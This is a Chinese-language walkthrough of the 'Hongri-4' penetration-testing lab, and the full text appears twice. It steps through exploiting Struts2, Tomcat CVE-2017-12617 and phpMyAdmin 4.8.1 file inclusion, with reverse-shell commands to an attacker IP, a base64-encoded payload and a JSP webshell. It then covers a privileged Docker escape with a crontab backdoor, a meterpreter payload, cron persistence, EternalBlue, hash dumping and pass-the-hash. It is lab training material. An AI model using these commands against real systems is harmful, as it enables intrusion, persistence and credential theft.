环境搭建靶场下载漏洞信息拓朴结构给的是ovf形式的靶机点击后输入虚拟机名称和位置新建的文件夹即可在虚拟机网络中添加仅主机网卡vmnet2192.168.183.0/24NAT模式的网卡为200的web主机两个网卡一个设为NAT一个设为仅主机网卡vmnet2win7PC-域内主机就一个网卡设置为仅主机网卡vmnet2DC域控和win7的配置一样只需设置一个网卡设置静态IP防止IP变化将Ubuntuweb设置为静态IP可选sudo su - 切换到root模式nm-connection-editor 网络管理连接编辑器输入后点击网卡与IP ADD进行对比后进行选择然后点击IPV4设置为手动模式添加IP设置为192.168.200.131之前是130点击保存后再次查看IP看到IP变为131另一张也是同样操作在ubuntu的web机器上手动开启服务cd /home/ubuntu/Desktop/vulhub/struts2/s2-045sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/sudo docker-compose up -d环境搭建完毕IP和密码ubuntuweb服务器ubuntu:ubuntu 192.168.200.131外网 192.168.183.130内网win7机器PCdouser:Dotest123 192.168.183.129域控主机DCadministrator:Test2008 192.168.183.131nmap扫描---发现端口首先进行同网段存活主机扫描----arp-scan -l使用nmap也可----nmap -sn 192.168.200.0/24看到一台IP为192.168.200.131的主机这和我们之前设置的静态IP一致使用nmap扫描端口情况----nmap -sT --min-rate 10000 -p- 192.168.200.131-sT 使用 TCP Connect 扫描三次握手不需要 root 权限--min-rate 10000 设置最小速率为 10000 个数据包/秒提高扫描速度-p- 扫描所有端口1–65535进行详细端口扫描----nmap -sT -sV -sC -p22,2001,2002,2003 -O 192.168.200.131查看各个端口都是什么服务2001---struts。2002---tomcat。2003---phpmyadmin2001200220032001是struts一个文件上传的页面。2002是tomcat的默认页面。2003是phpmyadmin的管理页面而且不需要登陆。获得立足点1、利用struts2用struts2scan扫描漏洞工具地址---github地址https://github.com/shack2/Struts2VulsTools看到存在s2-046执行反弹shell的命令命令kali开启监听----nc -lvvp 8888 工具执行命令----bash -c bash -i /dev/tcp/192.168.200.128/8888 01struts2利用成功2、利用tomcat根据版本搜索漏洞利用----searchsploit tomcat 8.5搜索该版本漏洞exp查看exp脚本发现漏洞编号为 CVE-2017-12617 该漏洞可以通过PUT方法和 / 绕过上传jsp文件导致任意代码执行抓包修改路径添加Content-Type:x-www-form-urlencoded头下面放的是哥斯拉JSP木马哥斯拉生成JSP木马生成的是文件将里面的代码复制出来放到数据包中然后进行连接即可连接成功3、利用phpmyadmin看到phpmyadmin的版本是4.8.1在这个版本的phpmyad中有一个任意文件包含漏洞访问----http://192.168.200.131:2003/index.php?targetdb_datadict.php%253f/../../../../../../etc/passwd看到内容被读取查询phpinfo信息----select ?php phpinfo();?查看网络获取到phpmyadmind的cookie----phpMyAdmin624d6e0bc971ad452ef5c00a8fae1946获取session值后拼接路径读取session文件就可以查看phpinfo信息访问----http://192.168.200.131:2003/index.php?targetdb_datadict.php%253f/../../../../../../tmp/sess_624d6e0bc971ad452ef5c00a8fae1946读取到phpinfo信息进行反弹shell----select ?php system(base64_decode(YmFzaCAtYyAiYmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMjgvNDQ0NCAwPiYxIg)) ?编码内容为----bash -c bash -i /dev/tcp/192.168.200.128/4444 01重新获取cookie再次访问包含session文件----http://192.168.200.131:2003/index.php?targetdb_datadict.php%253f/../../../../../../tmp/sess_9fa48b436aa65ce0d51223428a67a1de拿到shellDocker逃逸拿到主机shell上述我们已经拿到了3个webshell两个在kali上面起的监听一个在哥斯拉上面但是每一个shell的ip都和ubuntu这个宿主机的ip不同猜测是使用了Docker虚拟化容器技术快速搭建的服务。验证是否是dokcerls -al / 查看根目录下全部文件如果存在.dockerenv文件证明在docker中fdisk -l查看硬盘信息 有输出为dockercat /proc/1/cgroup 查看系统进程cgroup信息存在docker字段证明在docker中验证成功处在docker环境中进行docker逃逸特权有三种方法1、特权模式启动导致不安全的启动在启动时加入特权模式命令就会造成2、危险挂载启动导致危险配置启动3、docker 自身系统漏洞软件漏洞和系统漏洞在这里使用特权模式#查看是否为特权模式启动如果是以特权模式启动的话CapEff对应的掩码值应该为0000003fffffffffcat /proc/self/status | grep Capprivileged特权模式启动容器逃逸经检查只有Tomcat下的webshell是以特权模式启动的Docker 的 --privileged 参数是一种特权模式允许容器中的进程获得与宿主机相同的权限。所以我们这边再拉取一个dcoker容器然后使用特权模式启动.然后我们查看一下磁盘挂载情况----fdisk -l可以看到sda1就是宿主机的磁盘接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了创建一个文件夹----mkdir /qaz mount /dev/sda1 /wxw 将宿主机磁盘挂载到wyj目录下。多执行几遍切换到新建目录----cd /wxw新建.sh文件----touch /wxw/wxw.sh写入反弹shell命令到sh文件中----echo bash -i /dev/tcp/192.168.200.128/8899 01 /wxw/wxw.sh注意必须为单引号否则失败看来其他博主的都是双引把sh文件写入计划任务----echo * * * * * root bash /wxw.sh /wxw/etc/crontab拿到shell查看---逃逸成功上线到MSF然后将shell转到cs或者msf里面本次实验是将shell转到msf中查询系统位数----uname -m生成对应位数----msfvenom -p linux/x64/meterpreter/reverse_tcp lhost192.168.200.128 lport4444 -f elf shell.elf打开msfconsole启用监听use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.41.132set lport 4444run开启http服务----python3 -m http.server 9999上传payload后加权执行wget http://192.168.200.128:9999/shell.elfchmod x shell.elf./shell.elf 运行拿到meterpreter成功上线权限维持添加特殊权限不能删除更改文件----chattr i wyj.elf创建计划任务每分钟运行一次----echo */1 * * * * root /root/wyj.elf /etc/crontab进行横向移动刚才查看IP看到有一个183的网段通过 Meterpreter 会话添加路由到内网----run autoroute -s 192.168.183.0/24查看路由信息----run autoroute -p将会话放到后台----backgroundsessiocs -l查看会话进入会话----sessions 1shell交互式shell----python -c import pty;pty.spawn(/bin/bash)使用内网扫描利器fscan首先在kali上下载不能直接在靶机上下载----wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan然后和前面一样开启web服务靶机上传就可以了下载成功添加权限----chomd x fscan运行----./fscan -h 192.168.183.2-253看到两台主机192.168.183.29和192.168.183.131而且fscan判断他们可能存在ms17-010永恒之蓝漏洞测试永恒之蓝漏洞backgrounduse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.183.131set lport 443run收到meterpreter放到后台后----通过使用smart_hashdump来获取内网windows服务器的密码hashcuse post/windows/gather/smart_hashdumpset session 2run导出的就是所有域用户的hash格式为用户名:SID:LM hash:NTLM hash进行pth攻击拿下域成员机器set smbuser douserset smbpass bc23b0b4d5bf5ff42bc61fb62e13886erun执行拿下成员机器域控----权限维持可以在linux机器上将上传的payload.elf定时任务----vim /var/spool/cron/crontabs/root写入---- ***** ~/payload.elf也可以制作黄金票据总结通过nmap扫描发现了2001,2002,2003三个web服务端口通过指纹信息识别发现分别为Struts2tomcatphpmyadmin等web服务。利用已知漏洞获得了三个服务的shell。利用特权进docker逃逸拿到内网主机shell最后永恒之蓝漏洞利用获取域控shellPTH攻击拿到域成员
靶机渗透 | 红日系列----红日-4
环境搭建靶场下载漏洞信息拓朴结构给的是ovf形式的靶机点击后输入虚拟机名称和位置新建的文件夹即可在虚拟机网络中添加仅主机网卡vmnet2192.168.183.0/24NAT模式的网卡为200的web主机两个网卡一个设为NAT一个设为仅主机网卡vmnet2win7PC-域内主机就一个网卡设置为仅主机网卡vmnet2DC域控和win7的配置一样只需设置一个网卡设置静态IP防止IP变化将Ubuntuweb设置为静态IP可选sudo su - 切换到root模式nm-connection-editor 网络管理连接编辑器输入后点击网卡与IP ADD进行对比后进行选择然后点击IPV4设置为手动模式添加IP设置为192.168.200.131之前是130点击保存后再次查看IP看到IP变为131另一张也是同样操作在ubuntu的web机器上手动开启服务cd /home/ubuntu/Desktop/vulhub/struts2/s2-045sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/sudo docker-compose up -d环境搭建完毕IP和密码ubuntuweb服务器ubuntu:ubuntu 192.168.200.131外网 192.168.183.130内网win7机器PCdouser:Dotest123 192.168.183.129域控主机DCadministrator:Test2008 192.168.183.131nmap扫描---发现端口首先进行同网段存活主机扫描----arp-scan -l使用nmap也可----nmap -sn 192.168.200.0/24看到一台IP为192.168.200.131的主机这和我们之前设置的静态IP一致使用nmap扫描端口情况----nmap -sT --min-rate 10000 -p- 192.168.200.131-sT 使用 TCP Connect 扫描三次握手不需要 root 权限--min-rate 10000 设置最小速率为 10000 个数据包/秒提高扫描速度-p- 扫描所有端口1–65535进行详细端口扫描----nmap -sT -sV -sC -p22,2001,2002,2003 -O 192.168.200.131查看各个端口都是什么服务2001---struts。2002---tomcat。2003---phpmyadmin2001200220032001是struts一个文件上传的页面。2002是tomcat的默认页面。2003是phpmyadmin的管理页面而且不需要登陆。获得立足点1、利用struts2用struts2scan扫描漏洞工具地址---github地址https://github.com/shack2/Struts2VulsTools看到存在s2-046执行反弹shell的命令命令kali开启监听----nc -lvvp 8888 工具执行命令----bash -c bash -i /dev/tcp/192.168.200.128/8888 01struts2利用成功2、利用tomcat根据版本搜索漏洞利用----searchsploit tomcat 8.5搜索该版本漏洞exp查看exp脚本发现漏洞编号为 CVE-2017-12617 该漏洞可以通过PUT方法和 / 绕过上传jsp文件导致任意代码执行抓包修改路径添加Content-Type:x-www-form-urlencoded头下面放的是哥斯拉JSP木马哥斯拉生成JSP木马生成的是文件将里面的代码复制出来放到数据包中然后进行连接即可连接成功3、利用phpmyadmin看到phpmyadmin的版本是4.8.1在这个版本的phpmyad中有一个任意文件包含漏洞访问----http://192.168.200.131:2003/index.php?targetdb_datadict.php%253f/../../../../../../etc/passwd看到内容被读取查询phpinfo信息----select ?php phpinfo();?查看网络获取到phpmyadmind的cookie----phpMyAdmin624d6e0bc971ad452ef5c00a8fae1946获取session值后拼接路径读取session文件就可以查看phpinfo信息访问----http://192.168.200.131:2003/index.php?targetdb_datadict.php%253f/../../../../../../tmp/sess_624d6e0bc971ad452ef5c00a8fae1946读取到phpinfo信息进行反弹shell----select ?php system(base64_decode(YmFzaCAtYyAiYmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMjgvNDQ0NCAwPiYxIg)) ?编码内容为----bash -c bash -i /dev/tcp/192.168.200.128/4444 01重新获取cookie再次访问包含session文件----http://192.168.200.131:2003/index.php?targetdb_datadict.php%253f/../../../../../../tmp/sess_9fa48b436aa65ce0d51223428a67a1de拿到shellDocker逃逸拿到主机shell上述我们已经拿到了3个webshell两个在kali上面起的监听一个在哥斯拉上面但是每一个shell的ip都和ubuntu这个宿主机的ip不同猜测是使用了Docker虚拟化容器技术快速搭建的服务。验证是否是dokcerls -al / 查看根目录下全部文件如果存在.dockerenv文件证明在docker中fdisk -l查看硬盘信息 有输出为dockercat /proc/1/cgroup 查看系统进程cgroup信息存在docker字段证明在docker中验证成功处在docker环境中进行docker逃逸特权有三种方法1、特权模式启动导致不安全的启动在启动时加入特权模式命令就会造成2、危险挂载启动导致危险配置启动3、docker 自身系统漏洞软件漏洞和系统漏洞在这里使用特权模式#查看是否为特权模式启动如果是以特权模式启动的话CapEff对应的掩码值应该为0000003fffffffffcat /proc/self/status | grep Capprivileged特权模式启动容器逃逸经检查只有Tomcat下的webshell是以特权模式启动的Docker 的 --privileged 参数是一种特权模式允许容器中的进程获得与宿主机相同的权限。所以我们这边再拉取一个dcoker容器然后使用特权模式启动.然后我们查看一下磁盘挂载情况----fdisk -l可以看到sda1就是宿主机的磁盘接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了创建一个文件夹----mkdir /qaz mount /dev/sda1 /wxw 将宿主机磁盘挂载到wyj目录下。多执行几遍切换到新建目录----cd /wxw新建.sh文件----touch /wxw/wxw.sh写入反弹shell命令到sh文件中----echo bash -i /dev/tcp/192.168.200.128/8899 01 /wxw/wxw.sh注意必须为单引号否则失败看来其他博主的都是双引把sh文件写入计划任务----echo * * * * * root bash /wxw.sh /wxw/etc/crontab拿到shell查看---逃逸成功上线到MSF然后将shell转到cs或者msf里面本次实验是将shell转到msf中查询系统位数----uname -m生成对应位数----msfvenom -p linux/x64/meterpreter/reverse_tcp lhost192.168.200.128 lport4444 -f elf shell.elf打开msfconsole启用监听use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.41.132set lport 4444run开启http服务----python3 -m http.server 9999上传payload后加权执行wget http://192.168.200.128:9999/shell.elfchmod x shell.elf./shell.elf 运行拿到meterpreter成功上线权限维持添加特殊权限不能删除更改文件----chattr i wyj.elf创建计划任务每分钟运行一次----echo */1 * * * * root /root/wyj.elf /etc/crontab进行横向移动刚才查看IP看到有一个183的网段通过 Meterpreter 会话添加路由到内网----run autoroute -s 192.168.183.0/24查看路由信息----run autoroute -p将会话放到后台----backgroundsessiocs -l查看会话进入会话----sessions 1shell交互式shell----python -c import pty;pty.spawn(/bin/bash)使用内网扫描利器fscan首先在kali上下载不能直接在靶机上下载----wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan然后和前面一样开启web服务靶机上传就可以了下载成功添加权限----chomd x fscan运行----./fscan -h 192.168.183.2-253看到两台主机192.168.183.29和192.168.183.131而且fscan判断他们可能存在ms17-010永恒之蓝漏洞测试永恒之蓝漏洞backgrounduse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.183.131set lport 443run收到meterpreter放到后台后----通过使用smart_hashdump来获取内网windows服务器的密码hashcuse post/windows/gather/smart_hashdumpset session 2run导出的就是所有域用户的hash格式为用户名:SID:LM hash:NTLM hash进行pth攻击拿下域成员机器set smbuser douserset smbpass bc23b0b4d5bf5ff42bc61fb62e13886erun执行拿下成员机器域控----权限维持可以在linux机器上将上传的payload.elf定时任务----vim /var/spool/cron/crontabs/root写入---- ***** ~/payload.elf也可以制作黄金票据总结通过nmap扫描发现了2001,2002,2003三个web服务端口通过指纹信息识别发现分别为Struts2tomcatphpmyadmin等web服务。利用已知漏洞获得了三个服务的shell。利用特权进docker逃逸拿到内网主机shell最后永恒之蓝漏洞利用获取域控shellPTH攻击拿到域成员